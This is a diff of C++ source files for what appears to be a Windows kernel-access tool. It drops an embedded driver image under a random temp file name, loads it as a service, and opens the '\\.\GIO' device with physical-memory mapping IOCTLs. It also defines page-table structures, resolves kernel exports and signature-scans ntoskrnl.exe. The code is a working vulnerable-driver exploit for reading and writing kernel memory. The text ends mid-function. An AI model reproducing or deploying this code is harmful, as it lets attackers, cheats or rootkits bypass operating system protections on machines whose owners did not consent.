static const auto randchar = []() -> char
|
||||||
|
{
|
||||||
|
const char charset[] =
|
||||||
|
"0123456789"
|
||||||
|
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||||
|
"abcdefghijklmnopqrstuvwxyz";
|
||||||
|
const std::size_t max_index = (sizeof(charset) - 1);
|
||||||
|
return charset[rand() % max_index];
|
||||||
|
};
|
||||||
|
std::string str(length, 0);
|
||||||
|
std::generate_n(str.begin(), length, randchar);
|
||||||
|
return str;
|
||||||
|
};
|
||||||
|
|
||||||
|
const auto service_name = random_file_name(16);
|
||||||
|
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||||
|
std::ofstream output_file(file_path.c_str(), std::ios::binary);
|
||||||
|
|
||||||
|
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
|
||||||
|
output_file.close();
|
||||||
|
|
||||||
|
return { load(file_path, service_name), service_name };
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::tuple<bool, std::string>
|
||||||
|
{
|
||||||
|
std::vector<std::uint8_t> image(buffer, buffer + size);
|
||||||
|
return load(image);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto unload(const std::string& service_name) -> bool
|
||||||
|
{
|
||||||
|
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||||
|
reg_path += service_name;
|
||||||
|
|
||||||
|
ANSI_STRING driver_rep_path_cstr;
|
||||||
|
UNICODE_STRING driver_reg_path_unicode;
|
||||||
|
|
||||||
|
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||||
|
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||||
|
|
||||||
|
const bool unload_drv = STATUS_SUCCESS == NtUnloadDriver(&driver_reg_path_unicode);
|
||||||
|
const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||||
|
const bool delete_reg = util::delete_service_entry(service_name);
|
||||||
|
|
||||||
|
// sometimes you cannot delete the driver off disk because there are still handles open
|
||||||
|
// to the driver, this means the driver is still loaded into the kernel...
|
||||||
|
try
|
||||||
|
{
|
||||||
|
std::filesystem::remove(image_path);
|
||||||
|
}
|
||||||
|
catch (std::exception& e)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return delete_reg && unload_drv;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,191 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <ntstatus.h>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <cstddef>
|
||||||
|
#include <map>
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
|
||||||
|
#if _DEBUG
|
||||||
|
#define DBG_ASSERT(...) assert(__VA_ARGS__)
|
||||||
|
#define DBG_PRINT(...) printf(__VA_ARGS__)
|
||||||
|
#else
|
||||||
|
#define DBG_ASSERT(...) assert(__VA_ARGS__)
|
||||||
|
#define DBG_PRINT(...) printf(__VA_ARGS__)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define PAGE_4KB 0x1000
|
||||||
|
#define MM_COPY_MEMORY_PHYSICAL 0x1
|
||||||
|
#define MM_COPY_MEMORY_VIRTUAL 0x2
|
||||||
|
#define PAGE_IN(addr, size) memset(addr, NULL, size)
|
||||||
|
|
||||||
|
constexpr auto SystemModuleInformation = 11;
|
||||||
|
constexpr auto SystemHandleInformation = 16;
|
||||||
|
constexpr auto SystemExtendedHandleInformation = 64;
|
||||||
|
|
||||||
|
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
||||||
|
{
|
||||||
|
HANDLE Section;
|
||||||
|
PVOID MappedBase;
|
||||||
|
PVOID ImageBase;
|
||||||
|
ULONG ImageSize;
|
||||||
|
ULONG Flags;
|
||||||
|
USHORT LoadOrderIndex;
|
||||||
|
USHORT InitOrderIndex;
|
||||||
|
USHORT LoadCount;
|
||||||
|
USHORT OffsetToFileName;
|
||||||
|
UCHAR FullPathName[256];
|
||||||
|
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||||
|
|
||||||
|
typedef struct _RTL_PROCESS_MODULES
|
||||||
|
{
|
||||||
|
ULONG NumberOfModules;
|
||||||
|
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||||
|
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||||
|
|
||||||
|
typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
|
||||||
|
|
||||||
|
typedef struct _MM_COPY_ADDRESS {
|
||||||
|
union {
|
||||||
|
PVOID VirtualAddress;
|
||||||
|
PHYSICAL_ADDRESS PhysicalAddress;
|
||||||
|
};
|
||||||
|
} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS;
|
||||||
|
|
||||||
|
using PEPROCESS = PVOID;
|
||||||
|
using PETHREAD = PVOID;
|
||||||
|
|
||||||
|
using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)(
|
||||||
|
HANDLE ProcessId,
|
||||||
|
PEPROCESS* Process
|
||||||
|
);
|
||||||
|
|
||||||
|
using MmCopyMemory = NTSTATUS(__stdcall*)(
|
||||||
|
PVOID,
|
||||||
|
MM_COPY_ADDRESS,
|
||||||
|
SIZE_T,
|
||||||
|
ULONG,
|
||||||
|
PSIZE_T
|
||||||
|
);
|
||||||
|
|
||||||
|
using MmGetVirtualForPhysical = std::uintptr_t(__fastcall*)(
|
||||||
|
__in std::uintptr_t PhysicalAddress
|
||||||
|
);
|
||||||
|
|
||||||
|
using MmGetPhysicalAddress = std::uintptr_t(__fastcall*)(
|
||||||
|
__in std::uintptr_t BaseAddress
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef union _virt_addr_t
|
||||||
|
{
|
||||||
|
void* value;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
std::uint64_t offset : 12;
|
||||||
|
std::uint64_t pt_index : 9;
|
||||||
|
std::uint64_t pd_index : 9;
|
||||||
|
std::uint64_t pdpt_index : 9;
|
||||||
|
std::uint64_t pml4_index : 9;
|
||||||
|
std::uint64_t reserved : 16;
|
||||||
|
};
|
||||||
|
} virt_addr_t, *pvirt_addr_t;
|
||||||
|
static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||||
|
|
||||||
|
typedef union _pml4e
|
||||||
|
{
|
||||||
|
std::uint64_t value;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
std::uint64_t present : 1; // Must be 1, region invalid if 0.
|
||||||
|
std::uint64_t writeable : 1; // If 0, writes not allowed.
|
||||||
|
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||||
|
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT.
|
||||||
|
std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT.
|
||||||
|
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
|
||||||
|
std::uint64_t Ignored1 : 1;
|
||||||
|
std::uint64_t large_page : 1; // Must be 0 for PML4E.
|
||||||
|
std::uint64_t Ignored2 : 4;
|
||||||
|
std::uint64_t pfn : 36; // The page frame number of the PDPT of this PML4E.
|
||||||
|
std::uint64_t Reserved : 4;
|
||||||
|
std::uint64_t Ignored3 : 11;
|
||||||
|
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
|
||||||
|
};
|
||||||
|
} pml4e, * ppml4e;
|
||||||
|
static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||||
|
|
||||||
|
typedef union _pdpte
|
||||||
|
{
|
||||||
|
std::uint64_t value;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
std::uint64_t present : 1; // Must be 1, region invalid if 0.
|
||||||
|
std::uint64_t writeable : 1; // If 0, writes not allowed.
|
||||||
|
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||||
|
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PD.
|
||||||
|
std::uint64_t page_cache : 1; // Determines the memory type used to access PD.
|
||||||
|
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
|
||||||
|
std::uint64_t Ignored1 : 1;
|
||||||
|
std::uint64_t large_page : 1; // If 1, this entry maps a 1GB page.
|
||||||
|
std::uint64_t Ignored2 : 4;
|
||||||
|
std::uint64_t pfn : 36; // The page frame number of the PD of this PDPTE.
|
||||||
|
std::uint64_t Reserved : 4;
|
||||||
|
std::uint64_t Ignored3 : 11;
|
||||||
|
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
|
||||||
|
};
|
||||||
|
} pdpte, * ppdpte;
|
||||||
|
static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||||
|
|
||||||
|
typedef union _pde
|
||||||
|
{
|
||||||
|
std::uint64_t value;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
std::uint64_t present : 1; // Must be 1, region invalid if 0.
|
||||||
|
std::uint64_t writeable : 1; // If 0, writes not allowed.
|
||||||
|
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||||
|
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PT.
|
||||||
|
std::uint64_t page_cache : 1; // Determines the memory type used to access PT.
|
||||||
|
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
|
||||||
|
std::uint64_t Ignored1 : 1;
|
||||||
|
std::uint64_t large_page : 1; // If 1, this entry maps a 2MB page.
|
||||||
|
std::uint64_t Ignored2 : 4;
|
||||||
|
std::uint64_t pfn : 36; // The page frame number of the PT of this PDE.
|
||||||
|
std::uint64_t Reserved : 4;
|
||||||
|
std::uint64_t Ignored3 : 11;
|
||||||
|
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
|
||||||
|
};
|
||||||
|
} pde, * ppde;
|
||||||
|
static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||||
|
|
||||||
|
typedef union _pte
|
||||||
|
{
|
||||||
|
std::uint64_t value;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
std::uint64_t present : 1; // Must be 1, region invalid if 0.
|
||||||
|
std::uint64_t writeable : 1; // If 0, writes not allowed.
|
||||||
|
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||||
|
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access the memory.
|
||||||
|
std::uint64_t page_cache : 1; // Determines the memory type used to access the memory.
|
||||||
|
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
|
||||||
|
std::uint64_t Dirty : 1; // If 0, the memory backing this page has not been written to.
|
||||||
|
std::uint64_t PageAccessType : 1; // Determines the memory type used to access the memory.
|
||||||
|
std::uint64_t Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global.
|
||||||
|
std::uint64_t Ignored2 : 3;
|
||||||
|
std::uint64_t pfn : 36; // The page frame number of the backing physical page.
|
||||||
|
std::uint64_t reserved : 4;
|
||||||
|
std::uint64_t Ignored3 : 7;
|
||||||
|
std::uint64_t ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key.
|
||||||
|
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
|
||||||
|
};
|
||||||
|
} pte, * ppte;
|
||||||
|
static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||||
|
|
||||||
|
struct pt_entries
|
||||||
|
{
|
||||||
|
std::pair<ppml4e, pml4e> pml4;
|
||||||
|
std::pair<ppdpte, pdpte> pdpt;
|
||||||
|
std::pair<ppde, pde> pd;
|
||||||
|
std::pair<ppte, pte> pt;
|
||||||
|
};
|
@ -0,0 +1,346 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <string_view>
|
||||||
|
#include <iterator>
|
||||||
|
#include <map>
|
||||||
|
#include <fstream>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
#include <array>
|
||||||
|
#include <algorithm>
|
||||||
|
#include <atomic>
|
||||||
|
|
||||||
|
#include "nt.hpp"
|
||||||
|
|
||||||
|
namespace util
|
||||||
|
{
|
||||||
|
//--- ranges of physical memory
|
||||||
|
inline std::map<std::uintptr_t, std::size_t> pmem_ranges;
|
||||||
|
|
||||||
|
//--- validates the address
|
||||||
|
__forceinline auto is_valid(std::uintptr_t addr) -> bool
|
||||||
|
{
|
||||||
|
for (auto range : pmem_ranges)
|
||||||
|
if (addr >= range.first && addr <= range.first + range.second)
|
||||||
|
return true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline const auto init_ranges = ([&]() -> bool
|
||||||
|
{
|
||||||
|
HKEY h_key;
|
||||||
|
DWORD type, size;
|
||||||
|
LPBYTE data;
|
||||||
|
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
|
||||||
|
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
|
||||||
|
data = new BYTE[size];
|
||||||
|
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
|
||||||
|
DWORD count = *(DWORD*)(data + 16);
|
||||||
|
auto pmi = data + 24;
|
||||||
|
for (int dwIndex = 0; dwIndex < count; dwIndex++)
|
||||||
|
{
|
||||||
|
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
|
||||||
|
pmi += 20;
|
||||||
|
}
|
||||||
|
delete[] data;
|
||||||
|
RegCloseKey(h_key);
|
||||||
|
return true;
|
||||||
|
})();
|
||||||
|
|
||||||
|
__forceinline auto get_module_base(const char* module_name) -> std::uintptr_t
|
||||||
|
{
|
||||||
|
void* buffer = nullptr;
|
||||||
|
DWORD buffer_size = NULL;
|
||||||
|
|
||||||
|
NTSTATUS status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
|
||||||
|
buffer,
|
||||||
|
buffer_size,
|
||||||
|
&buffer_size
|
||||||
|
);
|
||||||
|
|
||||||
|
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||||
|
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||||
|
{
|
||||||
|
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
|
||||||
|
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||||
|
{
|
||||||
|
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_file_header(void* base_addr) -> PIMAGE_FILE_HEADER
|
||||||
|
{
|
||||||
|
if (!base_addr || *(short*)base_addr != IMAGE_DOS_SIGNATURE)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
PIMAGE_DOS_HEADER dos_headers =
|
||||||
|
reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr);
|
||||||
|
|
||||||
|
PIMAGE_NT_HEADERS nt_headers =
|
||||||
|
reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||||
|
reinterpret_cast<DWORD_PTR>(base_addr) + dos_headers->e_lfanew);
|
||||||
|
|
||||||
|
return &nt_headers->FileHeader;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_pid(const char* proc_name) -> std::uint32_t
|
||||||
|
{
|
||||||
|
PROCESSENTRY32 proc_info;
|
||||||
|
proc_info.dwSize = sizeof(proc_info);
|
||||||
|
|
||||||
|
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
||||||
|
if (proc_snapshot == INVALID_HANDLE_VALUE)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
Process32First(proc_snapshot, &proc_info);
|
||||||
|
if (!strcmp(proc_info.szExeFile, proc_name))
|
||||||
|
{
|
||||||
|
CloseHandle(proc_snapshot);
|
||||||
|
return proc_info.th32ProcessID;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (Process32Next(proc_snapshot, &proc_info))
|
||||||
|
{
|
||||||
|
if (!strcmp(proc_info.szExeFile, proc_name))
|
||||||
|
{
|
||||||
|
CloseHandle(proc_snapshot);
|
||||||
|
return proc_info.th32ProcessID;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(proc_snapshot);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t
|
||||||
|
{
|
||||||
|
void* buffer = nullptr;
|
||||||
|
DWORD buffer_size = NULL;
|
||||||
|
|
||||||
|
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||||
|
|
||||||
|
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||||
|
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||||
|
{
|
||||||
|
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
|
||||||
|
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||||
|
{
|
||||||
|
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void*
|
||||||
|
{
|
||||||
|
void* buffer = nullptr;
|
||||||
|
DWORD buffer_size = 0;
|
||||||
|
|
||||||
|
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||||
|
|
||||||
|
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||||
|
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||||
|
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||||
|
{
|
||||||
|
// find module and then load library it
|
||||||
|
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
|
||||||
|
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||||
|
{
|
||||||
|
// had to shoot the tires off of "\\SystemRoot\\"
|
||||||
|
std::string full_path = reinterpret_cast<char*>(modules->Modules[idx].FullPathName);
|
||||||
|
full_path.replace(
|
||||||
|
full_path.find("\\SystemRoot\\"),
|
||||||
|
sizeof("\\SystemRoot\\") - 1,
|
||||||
|
std::string(getenv("SYSTEMROOT")).append("\\")
|
||||||
|
);
|
||||||
|
|
||||||
|
auto module_base = LoadLibraryExA(full_path.c_str(),
|
||||||
|
NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||||
|
PIMAGE_DOS_HEADER p_idh;
|
||||||
|
PIMAGE_NT_HEADERS p_inh;
|
||||||
|
PIMAGE_EXPORT_DIRECTORY p_ied;
|
||||||
|
|
||||||
|
PDWORD addr, name;
|
||||||
|
PWORD ordinal;
|
||||||
|
|
||||||
|
p_idh = (PIMAGE_DOS_HEADER)module_base;
|
||||||
|
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
|
||||||
|
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
|
||||||
|
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||||
|
|
||||||
|
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
|
||||||
|
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
|
||||||
|
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
|
||||||
|
{
|
||||||
|
if (!strcmp(export_name, (char*)module_base + name[i]))
|
||||||
|
{
|
||||||
|
if (!rva)
|
||||||
|
{
|
||||||
|
auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]);
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
auto result = (void*)addr[ordinal[i]];
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_kmodule_export(void* module_base, const char* export_name) -> void*
|
||||||
|
{
|
||||||
|
PIMAGE_DOS_HEADER p_idh;
|
||||||
|
PIMAGE_NT_HEADERS p_inh;
|
||||||
|
PIMAGE_EXPORT_DIRECTORY p_ied;
|
||||||
|
|
||||||
|
PDWORD addr, name;
|
||||||
|
PWORD ordinal;
|
||||||
|
|
||||||
|
p_idh = (PIMAGE_DOS_HEADER)module_base;
|
||||||
|
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
|
||||||
|
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
|
||||||
|
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||||
|
|
||||||
|
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
|
||||||
|
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
|
||||||
|
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
|
||||||
|
{
|
||||||
|
if (!strcmp(export_name, (char*)module_base + name[i]))
|
||||||
|
{
|
||||||
|
auto result = (void*)((std::uintptr_t)module_base + addr[ordinal[i]]);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace memory
|
||||||
|
{
|
||||||
|
template<std::size_t pattern_length>
|
||||||
|
__forceinline auto sig_scan(const char(&signature)[pattern_length], const char(&mask)[pattern_length]) -> std::pair<std::uintptr_t, std::uint32_t>
|
||||||
|
{
|
||||||
|
static const auto ntoskrnl_module =
|
||||||
|
LoadLibraryEx(
|
||||||
|
"ntoskrnl.exe",
|
||||||
|
NULL,
|
||||||
|
DONT_RESOLVE_DLL_REFERENCES
|
||||||
|
);
|
||||||
|
|
||||||
|
static const auto p_idh = reinterpret_cast<PIMAGE_DOS_HEADER>(ntoskrnl_module);
|
||||||
|
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
static const auto p_inh = reinterpret_cast<PIMAGE_NT_HEADERS>((LPBYTE)ntoskrnl_module + p_idh->e_lfanew);
|
||||||
|
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
const auto pattern_view =
|
||||||
|
std::string_view
|
||||||
|
{
|
||||||
|
reinterpret_cast<char*>(ntoskrnl_module),
|
||||||
|
p_inh->OptionalHeader.SizeOfImage
|
||||||
|
};
|
||||||
|
|
||||||
|
std::array<std::pair<char, char>, pattern_length - 1> pattern{};
|
||||||
|
for (std::size_t index = 0; index < pattern_length - 1; index++)
|
||||||
|
pattern[index] = { signature[index], mask[index] };
|
||||||
|
|
||||||
|
auto resultant_address = std::search
|
||||||
|
(
|
||||||
|
pattern_view.cbegin(),
|
||||||
|
pattern_view.cend(),
|
||||||
|
pattern.cbegin(),
|
||||||
|
pattern.cend(),
|
||||||
|
[](char left, std::pair<char, char> right) -> bool {
|
||||||
|
return (right.second == '?' || left == right.first);
|
||||||
|
});
|
||||||
|
|
||||||
|
const auto found_address =
|
||||||
|
resultant_address == pattern_view.cend() ? 0 :
|
||||||
|
reinterpret_cast<std::uintptr_t>(resultant_address.operator->());
|
||||||
|
|
||||||
|
const auto rva = found_address - reinterpret_cast<std::uintptr_t>(ntoskrnl_module);
|
||||||
|
return { found_address, rva };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,142 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
#include "../util/util.hpp"
|
||||||
|
#include "../util/loadup.hpp"
|
||||||
|
#include "raw_driver.hpp"
|
||||||
|
|
||||||
|
#define MAP_PHYSICAL 0xC3502004
|
||||||
|
#define UNMAP_PHYSICAL 0xC3502008
|
||||||
|
|
||||||
|
#pragma pack (push, 1)
|
||||||
|
typedef struct _gdrv_t
|
||||||
|
{
|
||||||
|
unsigned long interface_type;
|
||||||
|
unsigned long bus;
|
||||||
|
std::uintptr_t phys_addr;
|
||||||
|
unsigned long io_space;
|
||||||
|
unsigned long size;
|
||||||
|
} gdrv_t, *pgdrv_t;
|
||||||
|
#pragma pack (pop)
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
inline HANDLE drv_handle;
|
||||||
|
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
|
||||||
|
{
|
||||||
|
const auto [result, key] =
|
||||||
|
driver::load(
|
||||||
|
vdm::raw_driver,
|
||||||
|
sizeof(vdm::raw_driver)
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!result)
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
vdm::drv_handle = CreateFileA(
|
||||||
|
"\\\\.\\GIO",
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
return { vdm::drv_handle, key };
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
|
||||||
|
{
|
||||||
|
